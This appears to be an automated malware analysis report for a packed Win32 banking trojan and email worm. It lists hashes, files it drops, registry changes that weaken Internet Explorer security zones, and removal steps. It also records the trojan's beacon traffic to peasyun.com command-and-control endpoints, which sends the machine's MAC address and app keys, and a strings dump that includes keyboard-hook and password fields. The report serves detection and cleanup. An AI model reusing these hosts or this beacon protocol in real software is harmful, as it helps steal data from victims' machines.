HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.Generic.12136312 (AdAware), Trojan.Win32.FlyStudio.FD, GenericEmailWorm.YR, GenericPhysicalDrive0.YR, TrojanFlyStudio.YR, BankerGeneric.YR (Lavasoft MAS)Behaviour: Banker, Trojan, Worm, EmailWorm
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: dcba2ed4acce13ede72346bfd6b6558e
SHA1: 74fcbb4743600290e03cecfc5a57fe0c5fd4b148
SHA256: c67b0905e27498d2cd1a3090a606d7895f8c9c125b1e34531c05ef46d791bbf6
SSDeep: 98304:bMwIhogt3IY3SNK/G9tFhy5aMPyxksSV41AynV0QZ7WZGOOBgF:SKNK8OFPfJ YQFWZGOOSF
Size: 3518464 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6, ACProtect141
Company: Slsysernaint
Created at: 2014-11-11 18:06:18
Analyzed on: WindowsXPESX SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
Behaviour | Description |
---|---|
EmailWorm | Worm can send e-mails. |
Process activity
The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):
%original file name%.exe:1328
Mutexes
The following mutexes were created/opened:
!IETld!MutexZonesLockedCacheCounterMutexZoneAttributeCacheCounterMutexZonesCacheCounterMutexZonesCounterMutexWininetConnectionMutexWininetProxyRegistryMutexWininetStartupMutexc:!documents and settings!adm!local settings!history!history.ie5!c:!documents and settings!adm!cookies!c:!documents and settings!adm!local settings!temporary internet files!content.ie5!_!MSFTHISTORY!_CTF.TimListCache.FMPDefaultS-1-5-21-796845957-1563985344-1801674531-1003MUTEX.DefaultS-1-5-21-796845957-1563985344-1801674531-1003CTF.TMD.MutexDefaultS-1-5-21-796845957-1563985344-1801674531-1003CTF.Layouts.MutexDefaultS-1-5-21-796845957-1563985344-1801674531-1003CTF.Asm.MutexDefaultS-1-5-21-796845957-1563985344-1801674531-1003CTF.Compart.MutexDefaultS-1-5-21-796845957-1563985344-1801674531-1003CTF.LBES.MutexDefaultS-1-5-21-796845957-1563985344-1801674531-1003RasPbFileShimCacheMutex
File activity
The process %original file name%.exe:1328 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Cookies\EV1E2DS7.txt (104 bytes)
C:\PEAS.dll (9606 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OVYHJBCC\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OVYHJBCC\7cd4bb31f0c2d21481f1a7cd[1].htm (2794 bytes)
Registry activity
The process %original file name%.exe:1328 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0A 8B DE 69 21 2C CA FA B0 0D 73 29 09 50 E8 03"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Multimedia\DrawDib]
"vga.drv 1176x885x32(BGR 0)" = "31,31,31,31"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 41 00 00 00 01 00 00 00 00 00 00 00"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
"IntranetName" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
Dropped PE files
MD5 | File path |
---|---|
dcb43d7518b4ee8eee47eb561ce50020 | c:\PEAS.dll |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
- Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Cookies\EV1E2DS7.txt (104 bytes)
C:\PEAS.dll (9606 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OVYHJBCC\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OVYHJBCC\7cd4bb31f0c2d21481f1a7cd[1].htm (2794 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
Company Name:
Product Name: ????????
Product Version: 2.1.0.0
Legal Copyright: ?????? ????????
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.1.0.0
File Description: ????????
Comments: ????????
Language: Language Neutral
Company Name: Product Name: ????????Product Version: 2.1.0.0Legal Copyright: ?????? ????????Legal Trademarks: Original Filename: Internal Name: File Version: 2.1.0.0File Description: ????????Comments: ????????Language: Language Neutral
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 1050582 | 1052672 | 5.05155 | 48b2c204d7e66cde2e112499efb71d1d |
.rdata | 1056768 | 2240132 | 2240512 | 4.51283 | 1d620ba686b855a2c7e178ff275a1659 |
.data | 3297280 | 369194 | 94208 | 4.55022 | 0467840c3f6ed0e092ef611f581e7757 |
.rsrc | 3670016 | 126064 | 126976 | 3.56433 | 4307ca1b105428f2737ddd7b37cd3482 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://hi.n.shifen.com/vltgmwydinbabxq/item/7cd4bb31f0c2d21481f1a7cd | |
hxxp://www.peasyun.com/Api-V1-gettime | 61.160.224.238 |
hxxp://www.peasyun.com/Api-V1-setup | 61.160.224.238 |
hxxp://www.peasyun.com/Api-V1-info | 61.160.224.238 |
hxxp://hi.baidu.com/vltgmwydinbabxq/item/7cd4bb31f0c2d21481f1a7cd | 180.76.2.41 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /Api-V1-gettime HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31
Accept: */*
Host: VVV.peasyun.com
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 18 Dec 2014 00:32:40 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By-360WZB: wangzhan.360.cn
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.24
Set-Cookie: PHPSESSID=2911vrfkq2eevmclfcgdusu7p4; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: loingran=NZKOMy; path=/
6..NZKOMy..0......
POST /Api-V1-setup HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31
Accept: */*
Host: VVV.peasyun.com
Content-Length: 118
Cookie: PHPSESSID=2911vrfkq2eevmclfcgdusu7p4; loingran=NZKOMy; path=/
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache
mac=45254AF5E44F9BEDB2240FE25FE113D7&api_version=1.0&appid=1645499&appkey=78848E165471ACDBAF6F54C52EE9196A&version=3.6
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 18 Dec 2014 00:32:41 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By-360WZB: wangzhan.360.cn
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.24
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: gettim=1418862761; path=/
Set-Cookie: mac=45254AF5E44F9BEDB2240FE25FE113D7; path=/
Set-Cookie: appid=1645499; path=/
Set-Cookie: appkey=78848E165471ACDBAF6F54C52EE9196A; path=/
Set-Cookie: version=3.6; path=/
1..1..0......
GET /Api-V1-gettime HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31
Accept: */*
Host: VVV.peasyun.com
Cookie: PHPSESSID=2911vrfkq2eevmclfcgdusu7p4; loingran=NZKOMy; gettim=1418862761; mac=45254AF5E44F9BEDB2240FE25FE113D7; appid=1645499; appkey=78848E165471ACDBAF6F54C52EE9196A; version=3.6; path=/
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 18 Dec 2014 00:32:41 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By-360WZB: wangzhan.360.cn
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.24
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
6..NZKOMy..0......
POST /Api-V1-info HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31
Accept: */*
Host: VVV.peasyun.com
Content-Length: 118
Cookie: PHPSESSID=2911vrfkq2eevmclfcgdusu7p4; loingran=NZKOMy; gettim=1418862761; mac=45254AF5E44F9BEDB2240FE25FE113D7; appid=1645499; appkey=78848E165471ACDBAF6F54C52EE9196A; version=3.6; path=/
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache
mac=45254AF5E44F9BEDB2240FE25FE113D7&api_version=1.0&appid=1645499&appkey=78848E165471ACDBAF6F54C52EE9196A&version=3.6
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 18 Dec 2014 00:32:41 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By-360WZB: wangzhan.360.cn
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.24
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: mac=45254AF5E44F9BEDB2240FE25FE113D7; path=/
Set-Cookie: appid=1645499; path=/
Set-Cookie: appkey=78848E165471ACDBAF6F54C52EE9196A; path=/
Set-Cookie: version=3.6; path=/
4d...........-.........::4.1::......hXXp://url.cn/XWl1Qb............::::1::220::0..0..
GET /vltgmwydinbabxq/item/7cd4bb31f0c2d21481f1a7cd HTTP/1.1
Referer: hXXp://hi.baidu.com/vltgmwydinbabxq/item/7cd4bb31f0c2d21481f1a7cd
Accept: */*
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: hi.baidu.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Set-Cookie: BAIDUID=E2AECF08AD89E76E3264D70A9F6316EB:FG=1; max-age=31536000; expires=Fri, 18-Dec-15 00:32:37 GMT; domain=.baidu.com; path=/; version=1
P3P: CP=" OTI DSP COR IVA OUR IND COM "
Set-Cookie: CANAL=101; path=/; domain=.hi.baidu.com
Content-type: text/html
Transfer-Encoding: chunked
Connection: close
Date: Thu, 18 Dec 2014 00:32:38 GMT
Server: apache
fe7.. <!DOCTYPE html><html id="customDoc"><!--STATUS OK--> <head> <meta http-equiv=Content-Type content="text/html; charset=utf-8"> <title> ............1_....................._............</title> <link rel="shortcut icon" href="hXXp://hi.bdimg.com/static/qbase/img/mod/16_favicon.ico?v=116ba471.ico" type=image/x-icon> <meta name=keywords content="............1,"> <meta name=description content=",............1"><script>window.wpo={start:new Date*1,pid:109,page:'qing'}</script><!--[if IE]><script type="text/javascript">(function(){var e="abbr,article,aside,audio,canvas,datalist,details,dialog,eventsource,figure,footer,header,hgroup,mark,menu,meter,nav,output,progress,section,time,video".split(","),t=e.length;while(t--)document.createElement(e[t])})();</script><![endif]--><script>window.qDomain={"qing":"hXXp://hi.baidu.com","static":"hXXp://hi.bdimg.com","passport":"hXXps://passport.baidu.com","portrait":"hXXp://tx.bdimg.com","hiup":"hXXp://hi.baidu.com","photo":"hXXp://hiphotos.baidu.com","message":"hXXp://msg.baidu.com","friend":"hXXp://frd.baidu.com","mp3":"hXXp://mp3.baidu.com","ting":"hXXp://ting.baidu.com","image":"http://img.baidu.com","qup":"hXXp://upload.hi.baidu.com","www":"hXXp://VVV.baidu.com"};window.qUserInfo={"userName":"............","nickname":"............","portrait":"c222766c74676d777964696e6261627871274f","qingUrl":"\/vltgmwydinbabxq","spaceName":".....................","right
<<< skipped >>>
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
%original file name%.exe_1328:
.text
.text
.rdata
.rdata
@.data
@.data
.rsrc
.rsrc
t%SVh
t%SVh
t$(SSh
t$(SSh
~%UVW
~%UVW
u$SShe
u$SShe
PEAS.dll
PEAS.dll
wininet.dll
wininet.dll
ole32.dll
ole32.dll
kernel32.dll
kernel32.dll
shlwapi.dll
shlwapi.dll
rasapi32.dll
rasapi32.dll
ADVAPI32.DLL
ADVAPI32.DLL
advapi32.dll
advapi32.dll
HttpOpenRequestA
HttpOpenRequestA
HttpSendRequestA
HttpSendRequestA
HttpQueryInfoA
HttpQueryInfoA
MsgWaitForMultipleObjects
MsgWaitForMultipleObjects
&password=
&password=
/PEAS.dll
/PEAS.dll
`.rdata
`.rdata
@.reloc
@.reloc
SSShl
SSShl
.QZ^&
.QZ^&
~$)~()|$
~$)~()|$
SSSSh
SSSSh
t'SShl
t'SShl
j%XtL9E
j%XtL9E
FtPW
FtPW
SSh@B
SSh@B
FTCP
FTCP
tAHt.HHt
tAHt.HHt
@ SSHPWj
@ SSHPWj
tWSShW
tWSShW
tl9_ tgSSh
tl9_ tgSSh
CNotSupportedException
CNotSupportedException
%s (%s:%d)
%s (%s:%d)
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
KERNEL32.DLL
KERNEL32.DLL
%s%s.dll
%s%s.dll
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp
lX-X-x-XX-XXXXXX
lX-X-x-XX-XXXXXX
RegOpenKeyTransactedA
RegOpenKeyTransactedA
Advapi32.dll
Advapi32.dll
RegCreateKeyTransactedA
RegCreateKeyTransactedA
RegDeleteKeyTransactedA
RegDeleteKeyTransactedA
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp
comctl32.dll
comctl32.dll
comdlg32.dll
comdlg32.dll
shell32.dll
shell32.dll
CCmdTarget
CCmdTarget
f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin1.inl
f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin1.inl
RegDeleteKeyExA
RegDeleteKeyExA
lXXxXXXXXXXX
lXXxXXXXXXXX
Shell32.dll
Shell32.dll
%s:%x:%x:%x:%x
%s:%x:%x:%x:%x
user32.dll
user32.dll
f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl
f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl
Afx:%p:%x:%p:%p:%p
Afx:%p:%x:%p:%p:%p
Afx:%p:%x
Afx:%p:%x
commctrl_DragListMsg
commctrl_DragListMsg
CMDITabProxyWnd
CMDITabProxyWnd
CMDIChildWndEx
CMDIChildWndEx
CMDIFrameWndEx
CMDIFrameWndEx
%sMFCToolBar-%d%x
%sMFCToolBar-%d%x
%sMFCToolBar-%d
%sMFCToolBar-%d
%sMFCToolBarParameters
%sMFCToolBarParameters
TOOLBAR_RESETKEYBAORD
TOOLBAR_RESETKEYBAORD
KeyboardManager
KeyboardManager
MSG_CHECKEMPTYMINIFRAME
MSG_CHECKEMPTYMINIFRAME
%sDockingManager-%d
%sDockingManager-%d
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp
CMDIChildWnd
CMDIChildWnd
CMDIFrameWnd
CMDIFrameWnd
&%d %s
&%d %s
CMDIClientAreaWnd
CMDIClientAreaWnd
%sMDIClientArea-%d
%sMDIClientArea-%d
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\viewcore.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\viewcore.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oleipfrm.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oleipfrm.cpp
%sBasePane-%d%x
%sBasePane-%d%x
%sBasePane-%d
%sBasePane-%d
%sPane-%d%x
%sPane-%d%x
%sPane-%d
%sPane-%d
windows
windows
ShowCmd
ShowCmd
Hex={X,X,X}
Hex={X,X,X}
%sMFCOutlookBar-%d%x
%sMFCOutlookBar-%d%x
%sMFCOutlookBar-%d
%sMFCOutlookBar-%d
MFCLink_UrlPrefix
MFCLink_UrlPrefix
MFCLink_Url
MFCLink_Url
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp
%c%d%c%s
%c%d%c%s
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olestrm.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olestrm.cpp
%sDockablePaneAdapter-%d%x
%sDockablePaneAdapter-%d%x
%sDockablePaneAdapter-%d
%sDockablePaneAdapter-%d
ENABLE_KEYS
ENABLE_KEYS
KEYS_MENU
KEYS_MENU
KEYS
KEYS
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledrop2.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledrop2.cpp
CMFCToolBarsKeyboardPropertyPage
CMFCToolBarsKeyboardPropertyPage
RGB(%d, %d, %d)
RGB(%d, %d, %d)
%sMFCTasksPane-%d%x
%sMFCTasksPane-%d%x
%sMFCTasksPane-%d
%sMFCTasksPane-%d
operator
operator
GetProcessWindowStation
GetProcessWindowStation
Visual C CRT: Not enough memory to complete call to strerror.
Visual C CRT: Not enough memory to complete call to strerror.
Broken pipe
Broken pipe
Inappropriate I/O control operation
Inappropriate I/O control operation
Operation not permitted
Operation not permitted
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31
HTTP/1.1 302 Found
HTTP/1.1 302 Found
Set-Cookie: %s
Set-Cookie: %s
HaiOu ProxyHttp
HaiOu ProxyHttp
HTTP/1.1
HTTP/1.1
Host: %s
Host: %s
CPUID:%s
CPUID:%s
DISK:%s
DISK:%s
MAC:%s
MAC:%s
MD5:%s
MD5:%s
hXXp://VVV.peasyun.com/Api-V1-gettime
hXXp://VVV.peasyun.com/Api-V1-gettime
hXXp://VVV.peasyun.com/Api-V1-
hXXp://VVV.peasyun.com/Api-V1-
appkey
appkey
%s%s%s
%s%s%s
mac=%s&api_version=%s&appid=%s&appkey=%s&version=%s
mac=%s&api_version=%s&appid=%s&appkey=%s&version=%s
login
login
: this object doesn't support resynchronization
: this object doesn't support resynchronization
StreamTransformation: this object doesn't support random access
StreamTransformation: this object doesn't support random access
XXXXXX
XXXXXX
XX
XX
: this object does't support a special last block
: this object does't support a special last block
: this object doesn't support multiple channels
: this object doesn't support multiple channels
is not a valid key length
is not a valid key length
?#%X.y
?#%X.y
E:\Visual Studio 2010\Projects\AuthorAPI\Release\PEAS.pdb
E:\Visual Studio 2010\Projects\AuthorAPI\Release\PEAS.pdb
GetCPInfo
GetCPInfo
GetWindowsDirectoryA
GetWindowsDirectoryA
KERNEL32.dll
KERNEL32.dll
UnhookWindowsHookEx
UnhookWindowsHookEx
GetKeyState
GetKeyState
SetWindowsHookExA
SetWindowsHookExA
GetAsyncKeyState
GetAsyncKeyState
MapVirtualKeyA
MapVirtualKeyA
GetKeyboardLayout
GetKeyboardLayout
GetKeyboardState
GetKeyboardState
CreateDialogIndirectParamA
CreateDialogIndirectParamA
GetKeyNameTextA
GetKeyNameTextA
MapVirtualKeyExA
MapVirtualKeyExA
USER32.dll
USER32.dll
GetViewportExtEx
GetViewportExtEx
SetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
SetViewportExtEx
ScaleViewportExtEx
ScaleViewportExtEx
GetViewportOrgEx
GetViewportOrgEx
GDI32.dll
GDI32.dll
MSIMG32.dll
MSIMG32.dll
COMDLG32.dll
COMDLG32.dll
WINSPOOL.DRV
WINSPOOL.DRV
RegOpenKeyExA
RegOpenKeyExA
RegCloseKey
RegCloseKey
RegEnumKeyA
RegEnumKeyA
RegCreateKeyExA
RegCreateKeyExA
RegDeleteKeyA
RegDeleteKeyA
RegEnumKeyExA
RegEnumKeyExA
ADVAPI32.dll
ADVAPI32.dll
ShellExecuteA
ShellExecuteA
SHELL32.dll
SHELL32.dll
COMCTL32.dll
COMCTL32.dll
UrlUnescapeA
UrlUnescapeA
SHLWAPI.dll
SHLWAPI.dll
OLEAUT32.dll
OLEAUT32.dll
NETAPI32.dll
NETAPI32.dll
HttpAddRequestHeadersA
HttpAddRequestHeadersA
HttpSendRequestExA
HttpSendRequestExA
HttpEndRequestA
HttpEndRequestA
InternetCrackUrlA
InternetCrackUrlA
InternetCanonicalizeUrlA
InternetCanonicalizeUrlA
WININET.dll
WININET.dll
GdiplusShutdown
GdiplusShutdown
gdiplus.dll
gdiplus.dll
OLEACC.dll
OLEACC.dll
IMM32.dll
IMM32.dll
WINMM.dll
WINMM.dll
LOGIN
LOGIN
.PAVCOleException@@
.PAVCOleException@@
.PAVCException@@
.PAVCException@@
.PAVCObject@@
.PAVCObject@@
.PAVCMemoryException@@
.PAVCMemoryException@@
.PAVCSimpleException@@
.PAVCSimpleException@@
.PAVCNotSupportedException@@
.PAVCNotSupportedException@@
.PAVCInvalidArgException@@
.PAVCInvalidArgException@@
.?AVCNotSupportedException@@
.?AVCNotSupportedException@@
.?AVCCmdTarget@@
.?AVCCmdTarget@@
.PAVCArchiveException@@
.PAVCArchiveException@@
.PAVCFileException@@
.PAVCFileException@@
.?AVCCmdUI@@
.?AVCCmdUI@@
.PAVCResourceException@@
.PAVCResourceException@@
.PAVCUserException@@
.PAVCUserException@@
.?AV?$CMap@V?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBDV12@PBD@@
.?AV?$CMap@V?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBDV12@PBD@@
.?AV?$CMap@V?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBDPAVCDocument@@PAV3@@@
.?AV?$CMap@V?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBDPAVCDocument@@PAV3@@@
.?AV?$CMap@V?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBD_N_N@@
.?AV?$CMap@V?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBD_N_N@@
.?AV?$CMap@PAVCDocument@@PAV1@V?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBD@@
.?AV?$CMap@PAVCDocument@@PAV1@V?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBD@@
.?AVCTestCmdUI@@
.?AVCTestCmdUI@@
.?AVCMDITabProxyWnd@@
.?AVCMDITabProxyWnd@@
.?AVCMDIChildWndEx@@
.?AVCMDIChildWndEx@@
.?AVCMDIChildWnd@@
.?AVCMDIChildWnd@@
.?AVCMDIFrameWndEx@@
.?AVCMDIFrameWndEx@@
.?AVCMDIFrameWnd@@
.?AVCMDIFrameWnd@@
.?AVCMFCToolBarCmdUI@@
.?AVCMFCToolBarCmdUI@@
.?AV?$CList@PAVCMDIChildWndEx@@PAV1@@@
.?AV?$CList@PAVCMDIChildWndEx@@PAV1@@@
.?AVCMDIClientAreaWnd@@
.?AVCMDIClientAreaWnd@@
.?AVCMFCRibbonCmdUI@@
.?AVCMFCRibbonCmdUI@@
.?AVCMFCCmdUsageCount@@
.?AVCMFCCmdUsageCount@@
.?AV?$CMap@V?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBDPAVCObList@@PAV3@@@
.?AV?$CMap@V?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBDPAVCObList@@PAV3@@@
.?AVCMFCColorBarCmdUI@@
.?AVCMFCColorBarCmdUI@@
.?AV?$CMap@KKV?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBD@@
.?AV?$CMap@KKV?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBD@@
.?AVCMFCAcceleratorKey@@
.?AVCMFCAcceleratorKey@@
.?AVCMFCRibbonKeyTip@@
.?AVCMFCRibbonKeyTip@@
.?AVCMFCToolBarsKeyboardPropertyPage@@
.?AVCMFCToolBarsKeyboardPropertyPage@@
.?AV?$CMap@V?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBDHH@@
.?AV?$CMap@V?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBDHH@@
.?AVCMFCTasksPaneToolBarCmdUI@@
.?AVCMFCTasksPaneToolBarCmdUI@@
.?AVCMFCAcceleratorKeyAssignCtrl@@
.?AVCMFCAcceleratorKeyAssignCtrl@@
zcÃ
zcÃ
.?AVHexEncoder@CryptoPP@@
.?AVHexEncoder@CryptoPP@@
.?AV?$VariableKeyLength@$0BA@$0BA@$0CA@$07$03$0A@@CryptoPP@@
.?AV?$VariableKeyLength@$0BA@$0BA@$0CA@$07$03$0A@@CryptoPP@@
.?AVSimpleKeyingInterface@CryptoPP@@
.?AVSimpleKeyingInterface@CryptoPP@@
.?AV?$SimpleKeyingInterfaceImpl@V?$TwoBases@VBlockCipher@CryptoPP@@URijndael_Info@2@@CryptoPP@@V12@@CryptoPP@@
.?AV?$SimpleKeyingInterfaceImpl@V?$TwoBases@VBlockCipher@CryptoPP@@URijndael_Info@2@@CryptoPP@@V12@@CryptoPP@@
.?AV?$AlgorithmImpl@V?$SimpleKeyingInterfaceImpl@V?$TwoBases@VBlockCipher@CryptoPP@@URijndael_Info@2@@CryptoPP@@V12@@CryptoPP@@V12@@CryptoPP@@
.?AV?$AlgorithmImpl@V?$SimpleKeyingInterfaceImpl@V?$TwoBases@VBlockCipher@CryptoPP@@URijndael_Info@2@@CryptoPP@@V12@@CryptoPP@@V12@@CryptoPP@@
.PAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@
.PAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@
.?AUNoChannelSupport@BufferedTransformation@CryptoPP@@
.?AUNoChannelSupport@BufferedTransformation@CryptoPP@@
.?AVInvalidKeyLength@CryptoPP@@
.?AVInvalidKeyLength@CryptoPP@@
